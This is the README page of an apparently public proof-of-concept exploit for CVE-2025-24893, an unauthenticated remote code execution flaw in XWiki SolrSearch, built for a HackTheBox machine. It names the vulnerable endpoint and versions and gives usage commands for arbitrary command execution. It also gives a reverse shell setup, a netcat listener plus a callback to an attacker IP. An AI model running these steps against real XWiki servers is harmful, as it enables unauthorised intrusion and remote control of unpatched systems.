CVE-2025-24893 PoC — Remote code execution as guest via SolrSearchMacros request in xwiki

Description

Unauth RCE PoC for XWiki SolrSearch (CVE-2025-24893). Command exec + reverse shell. Built during process of pwning HTB “Editor”

Readme

# solrsearch-rce-exploit
Unauth RCE PoC for XWiki SolrSearch (CVE-2025-24893). Command exec + reverse shell. Built during process of pwning HTB “Editor”

# CVE-2025-24893 – XWiki SolrSearch RCE PoC

Proof-of-concept for the XWiki `SolrSearch` template injection leading to unauthenticated remote code execution.

Tested against **XWiki Debian 15.10.8** (patched in 15.10.11 / 16.4.1 / 16.5.0RC1).

> ⚠️ Educational use only. Do not run this against systems you do not own or have explicit permission to test.

## What it does
- Sends crafted Groovy payloads through `/xwiki/bin/get/Main/SolrSearch`.
- Executes arbitrary commands and wraps output in Base64 markers for clean decoding.
- Supports launching a reverse shell using Java sockets.

## Requirements
- Python 3.x
- Install dependencies with:
```bash
pip install requests
```

## Usage

Specify the target host (and optional path) when running the script.

Run basic commands:
```bash
python3 xwiki_solr_rce.py --target http://wiki.example.tld cmd --cmd "id"
python3 xwiki_solr_rce.py --target http://wiki.example.tld cmd --cmd "whoami"
```

Start a reverse shell:
```bash
# On attacker box
nc -lvnp 4444

# From the PoC
python3 xwiki_solr_rce.py --target http://wiki.example.tld rshell <attacker_ip> 4444
```

## Notes
- Endpoint: `/xwiki/bin/get/Main/SolrSearch?media=rss&text=...`
- Clean Base64 output ensures reliable parsing.
- Originally demonstrated during HTB *Editor*, but applicable to other vulnerable instances.
- https://nvd.nist.gov/vuln/detail/CVE-2025-24893 

File Snapshot

Remarks